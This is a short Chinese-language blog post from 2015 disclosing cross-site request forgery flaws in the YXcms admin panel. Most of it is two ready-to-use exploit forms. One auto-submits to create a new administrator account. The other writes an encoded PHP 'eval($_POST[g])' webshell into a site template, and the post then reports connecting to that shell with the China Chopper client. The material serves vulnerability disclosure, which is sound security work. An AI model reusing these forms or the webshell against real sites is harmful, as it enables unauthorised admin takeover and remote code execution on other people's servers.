YXcms后台csrf添加管理员+getshell

作者：没穿底裤
发布时间： 2015 年 02 月 23 日
1505次浏览
暂无评论
分类： PHP

漏洞作者：

漏洞证明：

1、后台添加管理然后用burp截断

我们发现没有验证，然后就构造表单

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

    <form id="post123" name="post123" action="http://127.0.0.1/index.php?r=admin/admin/index" method="POST">

      <input type="hidden" name="groupid" value="1" />

      <input type="hidden" name="username" value="snake" />

      <input type="hidden" name="rpassword" value="wuyun1" />

      <input type="hidden" name="spassword" value="wuyun1" />

      <input type="hidden" name="realname" value="" />

      <input type="hidden" name="iflock" value="0" />

       <script>

        document.getElementById('post123').submit();

    </script>

    </form>

  </body>

</html>

2、再来看如何getshell 模版，新建

插入一句话木马，然后截断

同样没有验证，构造表单如下

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

    <form action="http://127.0.0.1/index.php?r=admin/set/tpadd&Mname=default" method="POST">

      <input type="hidden" name="filename" value="1" />

      <input type="hidden" name="code" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;POST&#91;g&#93;&#41;&#59;&#63;&gt;" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

接下来用菜刀连接试试

连接成功